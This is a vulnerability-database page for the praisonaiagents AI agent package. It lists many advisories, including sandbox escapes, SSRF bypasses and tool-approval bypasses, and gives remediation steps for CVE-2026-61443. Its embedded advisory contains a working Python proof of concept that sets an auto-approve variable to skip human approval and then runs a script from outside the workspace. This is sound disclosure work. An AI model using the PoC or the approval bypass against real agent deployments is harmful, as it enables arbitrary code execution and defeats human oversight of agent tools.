Vulnerabilities in pkg:pypi/praisonaiagents
PACKAGECVE-2026-61443 is a HIGH (CVSS 8.1) skilltools executes scripts without path vulnerability (CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')) affecting PraisonAI libraries in the PyPI ecosystem. The issue involves skilltools executes scripts without path containment validation. Remediation is available by upgrading affected packages to version 1.6.78.
pkg:pypi/praisonaiagents
Vulnerability advisories affecting package pkg:pypi/praisonaiagents. Select an advisory below to view technical details or fixes.
| Advisory ID | CVE / NVD | Severity | Summary |
|---|---|---|---|
| GHSA-c44f-37qr-gw3f | CVE-2026-61443 | HIGH | PraisonAI: SkillTools Executes Scripts Without Path Containment Validation |
| GHSA-f352-4x87-wmjh | - | HIGH | Duplicate Advisory: PraisonAI: SkillTools Executes Scripts Without Path Containment Validation |
| GHSA-4gfv-wg42-7jw5 | CVE-2026-61437 | HIGH | PraisonAI: Unsafe Dynamic Module Loading Leads to Arbitrary Code Execution via tools.py in AgentFlow |
| GHSA-4xxv-6wmf-xf45 | CVE-2026-61432 | MODERATE | PraisonAI: FastContext path resolution permits absolute and traversal reads outside the workspace |
| GHSA-c6pq-cprj-62fw | - | HIGH | Duplicate Advisory: PraisonAI: Unsafe Dynamic Module Loading Leads to Arbitrary Code Execution via tools.py in AgentFlow |
| GHSA-3f4v-mp44-x4x2 | - | MODERATE | Duplicate Advisory: PraisonAI: FastContext path resolution permits absolute and traversal reads outside the workspace |
| GHSA-m6wp-h223-4c8g | CVE-2026-61446 | HIGH | PraisonAI: Plugin Auto-Discovery Executes Arbitrary Python Files Without Verification |
| GHSA-2xv2-w8cq-5gxw | CVE-2026-61447 | CRITICAL | PraisonAI: CodeAgent Executes LLM-Generated Code Without Sandboxing and Leaks All Environment Secrets |
| GHSA-q359-rmv4-56fg | - | HIGH | Duplicate Advisory: PraisonAI: Plugin Auto-Discovery Executes Arbitrary Python Files Without Verification |
| GHSA-29r9-67vg-qj56 | CVE-2026-60087 | MODERATE | PraisonAI: Human-in-the-loop tool approval is cached by tool name and silently reused for all subsequent calls with arbitrary arguments |
| GHSA-r3xw-gcpr-rf26 | - | MODERATE | Duplicate Advisory: PraisonAI: Human-in-the-loop tool approval is cached by tool name and silently reused for all subsequent calls with arbitrary arguments |
| GHSA-qg25-6gc4-48mg | CVE-2026-61430 | HIGH | PraisonAI: DNS rebinding bypass in `web_crawl` SSRF protection allows internal response disclosure |
| GHSA-92x2-g374-gcvx | - | HIGH | Duplicate Advisory: PraisonAI: DNS rebinding bypass in `web_crawl` SSRF protection allows internal response disclosure |
| GHSA-qjw5-xwrp-xwpq | CVE-2026-60089 | MODERATE | PraisonAI: Project config can auto-save agent output outside the project root |
| GHSA-rrqj-82cc-g6h4 | - | MODERATE | Duplicate Advisory: PraisonAI: Project config can auto-save agent output outside the project root |
| GHSA-6g59-gm2v-qhvq | CVE-2026-61429 | HIGH | PraisonAI: Crawl4AI/Chromium backend is also affected by the `web_crawl` SSRF validation bypass |
| GHSA-rc3q-9pxg-3jhr | - | HIGH | Duplicate Advisory: PraisonAI: Crawl4AI/Chromium backend is also affected by the `web_crawl` SSRF validation bypass |
| GHSA-gxmw-5f7x-6g22 | CVE-2026-55527 | HIGH | praisonaiagents vulnerable to arbitrary file write via unsanitized `user_id` in `FileMemory.__init__()` — path traversal to any writable location |
| GHSA-cfxv-8fw8-rwpv | CVE-2026-55530 | MODERATE | praisonaiagents: ast_grep_rewrite rewrites arbitrary files without the @require_approval gate enforced on every sibling mutation tool |
| GHSA-vg6p-v9vm-6fgj | CVE-2026-55524 | HIGH | praisonaiagents vulnerable to SSRF in web_crawl tool via redirect-following and DNS rebinding (validate-then-fetch gap) |
| GHSA-x44h-65qv-cw74 | CVE-2026-55526 | HIGH | praisonaiagents has an SSRF protection bypass in `spider_tools._host_is_blocked()` via DNS-resolved hostnames (`127.0.0.1.nip.io`) |
| GHSA-7g3p-92qq-8wvh | CVE-2026-55528 | HIGH | praisonaiagents: AgentServer declares auth_token but never enforces it on any route |
| GHSA-8hjw-25cg-g52h | CVE-2026-55523 | HIGH | praisonaiagents has a `web_crawl` SSRF protection bypass via unchecked redirect targets |
| GHSA-hxmv-c4g6-5fqc | CVE-2026-55522 | HIGH | PraisonAI workflow include bypasses tools.py autoload opt-in and executes included recipe code |
| GHSA-5r34-2g38-6569 | CVE-2026-55525 | HIGH | praisonaiagents web_crawl vulnerable to SSRF via redirect-following |
| GHSA-c969-5x3p-vq3v | CVE-2026-57130 | HIGH | PraisonAI: IMAP Command Injection via Unsanitized Email Search Parameters |
| GHSA-2rcg-mm5h-xchx | CVE-2026-57129 | HIGH | PraisonAI: Arbitrary File Read via `@file:` Mention Path Traversal |
| GHSA-35w5-pcw4-jx94 | CVE-2026-57128 | MODERATE | PraisonAI: Unauthenticated Event Injection via SSE `/publish` Endpoint |
| GHSA-vxgj-xg5c-p4h7 | CVE-2026-57126 | HIGH | praisonaiagents: SSRF guard validates literal IPs only and never resolves DNS |
| GHSA-4869-x4pr-q22x | CVE-2026-57125 | CRITICAL | PraisonAI: Unauthenticated RCE via Jobs API + Approval Bypass |
| GHSA-x227-pf99-vffg | CVE-2026-57123 | CRITICAL | PraisonAI: MCP SSE transport binds 0.0.0.0 with no authentication and no Origin validation; bundled SecurityConfig is never wired in |
| GHSA-pv2j-rghr-v5r9 | CVE-2026-57120 | MODERATE | PraisonAI: execute_code sandbox bypass: str.format C-level attribute access reads every blocklisted dunder |
| GHSA-x8cv-xmq7-p8xp | CVE-2026-57118 | CRITICAL | PraisonAI AgentTeam.launch exposes unauthenticated remote agent listing and invocation endpoints |
| GHSA-6h9p-93hq-q7h6 | CVE-2026-57115 | MODERATE | PraisonAI: SpiderTools redirect-target SSRF protection bypass |
| GHSA-vmf9-xx9w-86wx | CVE-2026-57112 | HIGH | PraisonAI ToolsMCPServer legacy SSE transport accepts attacker Host/Origin and exposes registered tools |
| GHSA-4pcv-mg8v-vrgf | CVE-2026-57143 | HIGH | PraisonAI: Server-Side Request Forgery (SSRF) in SearxNG / search_web tools via attacker-controlled searxng_url parameter |
| GHSA-766v-q9x3-g744 | CVE-2026-56078 | MODERATE | PraisonAI has Memory State Leakage and Path Traversal in MultiAgent Context Handling |
| GHSA-ffp3-3562-8cv3 | CVE-2026-56074 | MODERATE | PraisonAI: Coarse-Grained Tool Approval Cache Bypasses Per-Invocation Consent for Shell Commands |
| GHSA-4mr5-g6f9-cfrh | CVE-2026-47392 | CRITICAL | PraisonAI vulnerable to sandbox escape via `print.__self__` builtins module leak in `execute_code` (subprocess mode) |
| GHSA-5cxw-77wg-jrf3 | CVE-2026-47395 | MODERATE | PraisonAI CLI automatically resolves @url mentions in prompt text and can read loopback URLs into model context |
| GHSA-5c6w-wwfq-7qqm | CVE-2026-47390 | MODERATE | PraisonAI spider_tools SSRF protection bypass via alternate loopback host encodings |
| GHSA-q9pw-vmhh-384g | CVE-2026-44335 | HIGH | PraisonAI has an SSRF bypass |
| GHSA-rg3h-x3jw-7jm5 | CVE-2026-41496 | HIGH | PraisonAI: SQL Injection via unvalidated `table_prefix` in 9 conversation store backends (incomplete fix for CVE-2026-40315) |
| GHSA-gmjg-hv98-qggq | CVE-2026-44339 | HIGH | PraisonAI has unsafe tool resolution in `ToolExecutionMixin.execute_tool`: undeclared `__main__` callables execute |
| GHSA-8x8f-54wf-vv92 | CVE-2026-40289 | CRITICAL | PraisonAI Browser Server allows unauthenticated WebSocket clients to hijack connected extension sessions |
| GHSA-vc46-vw85-3wvm | CVE-2026-40288 | CRITICAL | PraisonAI has critical RCE via `type: job` workflow YAML |
| GHSA-g985-wjh9-qxxc | CVE-2026-40287 | HIGH | PraisonAI Vulnerable to RCE via Automatic tools.py Import |
| GHSA-qq9r-63f6-v542 | CVE-2026-40160 | HIGH | PraisonAIAgents: SSRF via unvalidated URL in `web_crawl` httpx fallback |
| GHSA-x462-jjpc-q4q4 | - | HIGH | PraisonAI: Cross-Origin Agent Execution via Hardcoded Wildcard CORS and Missing Authentication on AGUI Endpoint |
| GHSA-7j2f-xc8p-fjmq | CVE-2026-40152 | MODERATE | PraisonAIAgents: Path Traversal via Unvalidated Glob Pattern in list_files Bypasses Workspace Boundary |
| GHSA-v8g7-9q6v-p3x8 | CVE-2026-40153 | HIGH | PraisonAIAgents: Environment Variable Secret Exfiltration via os.path.expandvars() Bypassing shell=False in Shell Tool |
| GHSA-8f4v-xfm9-3244 | CVE-2026-40150 | HIGH | PraisonAIAgents has SSRF and Local File Read via Unvalidated URLs in web_crawl Tool |
| GHSA-grrg-5cg9-58pf | CVE-2026-40117 | MODERATE | PraisonAIAgents: Arbitrary File Read via read_skill_file Missing Workspace Boundary and Approval Gate |
| GHSA-v7px-3835-7gjx | CVE-2026-40111 | CRITICAL | PraisonAIAgents has an OS Command Injection via shell=True in Memory Hooks Executor (memory/hooks.py) |
| GHSA-qf73-2hrx-xprp | CVE-2026-39888 | CRITICAL | PraisonAI has sandbox escape via exception frame traversal in `execute_code` (subprocess mode) |
| GHSA-44c2-3rw4-5gvh | CVE-2026-34954 | HIGH | PraisonAI Has SSRF in FileTools.download_file() via Unvalidated URL |
| GHSA-6vh2-h83c-9294 | CVE-2026-34938 | CRITICAL | PraisonAI: Python Sandbox Escape via str Subclass startswith() Override in execute_code |
| GHSA-w37c-qqfp-c67f | CVE-2026-34937 | HIGH | PraisonAI: Shell Injection in run_python() via Unescaped $() Substitution |
CVE-2026-61443 at a Glance
Security Impact
CVSS: 8.1
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N).
How to Fix CVE-2026-61443
To remediate this vulnerability, upgrade all affected PraisonAI dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
pip install praisonaiagents>=1.6.78
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
pip show praisonaiagents
How to Check if You Are Affected
To determine whether your Python environment is affected by CVE-2026-61443, inspect your installed packages using pip:
pip show praisonaiagents
Analyze the terminal output to locate any version of PraisonAI in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.6.78), your application is affected.
Note: The pip show praisonaiagents command checks currently installed packages in your active Python environment.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'), where the product constructs all or part of an os command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended os command when it is sent to a downstream component. In PraisonAI, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-61443 Affected PraisonAI Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
praisonaiagents
|
PyPI |
< 1.6.78
|
1.6.78
|
References
Frequently Asked Questions
What is CVE-2026-61443?
Which PraisonAI versions are affected?
What version fixes CVE-2026-61443?
Is praisonaiagents affected?
What is the CVSS score of CVE-2026-61443?
What CWE is associated with CVE-2026-61443?
How can I check PyPI dependencies for CVE-2026-61443?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-c44f-37qr-gw3f",
"modified" : "2026-10-08T16:49:23Z",
"published" : "2026-10-08T16:49:23Z",
"aliases" : [ "CVE-2026-61443" ],
"summary" : "PraisonAI: SkillTools Executes Scripts Without Path Containment Validation",
"details" : "### Summary\n`SkillTools.run_skill_script()` accepts a `script_path` parameter and executes it via `subprocess.run()` without any path containment validation. While `FileTools` has `_validate_path()` with traversal detection, `SkillTools` performs none. An LLM-directed call can execute arbitrary scripts from any filesystem location. The `@require_approval` decorator can be bypassed via YAML `approve:` for high-risk tools.\n\n### Details\n`src/praisonai-agents/praisonaiagents/tools/skill_tools.py` (lines 69-119):\n\n```python\ndef run_skill_script(self, script_path: str, ...):\n script_path = os.path.expanduser(script_path)\n if not os.path.isabs(script_path):\n script_path = os.path.join(self._working_directory, script_path)\n script_path = os.path.abspath(script_path)\n\n if not os.path.exists(script_path):\n return f\"Error: Script not found at {script_path}\"\n\n # No path traversal check, no containment validation\n # Directly executes whatever is at that path:\n result = subprocess.run(cmd, ...)\n```\n\nBy contrast, `FileTools._validate_path()` (`src/praisonai-agents/praisonaiagents/tools/file_tools.py`, lines 42-78) properly validates that the resolved path stays within the working directory:\n\n```python\ndef _validate_path(self, filepath: str) -> str:\n # ...\n cwd = os.path.abspath(os.getcwd())\n if os.path.commonpath([absolute, cwd]) != cwd:\n raise ValueError(f\"Path traversal detected: {filepath} escapes workspace {cwd}\")\n```\n\n`SkillTools` has no equivalent check.\n\n### PoC\n\n```python\nimport os, tempfile\nfrom praisonaiagents.tools.skill_tools import SkillTools\n\n# Create a \"safe\" working directory (the jail)\njail = tempfile.mkdtemp(prefix=\"skill_jail_\")\n\n# Create a malicious script OUTSIDE the jail\nattack_script = os.path.join(tempfile.gettempdir(), \"malicious_skill.sh\")\nwith open(attack_script, 'w') as f:\n f.write(\"#!/bin/bash\\n\")\n f.write(\"echo \\\"PROOF_OF_EXPLOIT: Script executed outside jail\\\"\\n\")\n f.write(\"echo \\\"USER: $(whoami)\\\"\\n\")\n f.write(\"echo \\\"HOSTNAME: $(hostname)\\\"\\n\")\nos.chmod(attack_script, 0o755)\n\n# Bypass approval (simulates Docker env or YAML approve:)\nos.environ[\"PRAISONAI_AUTO_APPROVE\"] = \"true\"\n\nst = SkillTools()\nst._working_directory = jail # Pretend we're confined\n\n# Run script from OUTSIDE the jail — no path validation!\nresult = st.run_skill_script(attack_script)\nprint(result)\n# Output:\n# PROOF_OF_EXPLOIT: Script executed outside jail\n# USER: anushkavirgaonkar\n# HOSTNAME: Anushkas-MacBook-Pro-2.local\n\n# Cleanup\ndel os.environ[\"PRAISONAI_AUTO_APPROVE\"]\nos.unlink(attack_script)\nos.rmdir(jail)\n```\n\n**Tested result:** The script at `/tmp/malicious_skill.sh` executed successfully despite the working directory being set to a jail directory. The output confirms arbitrary script execution including `whoami` and `hostname`. No path containment check exists — the absolute path is accepted and executed directly.\n\n\n### Impact\n- **Arbitrary script execution**: Run any script on the filesystem from any location\n- **Chaining with file write**: Write a malicious script via `write_file` (YAML-approvable as a high-risk tool), then execute it via `run_skill_script`\n- **Root-level impact in Docker**: All PraisonAI Docker containers run as root (no `USER` directive), so an escaped script runs with full root privileges",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "PyPI",
"name" : "praisonaiagents"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "1.6.78"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 1.6.77"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-c44f-37qr-gw3f"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-61443"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-62168"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/MervinPraison/PraisonAI"
}, {
"type" : "WEB",
"url" : "https://www.vulncheck.com/advisories/praisonai-before-remote-code-execution-via-skilltools"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-22", "CWE-78" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-10-08T16:49:23Z",
"nvd_published_at" : "2026-07-15T17:16:52Z"
}
}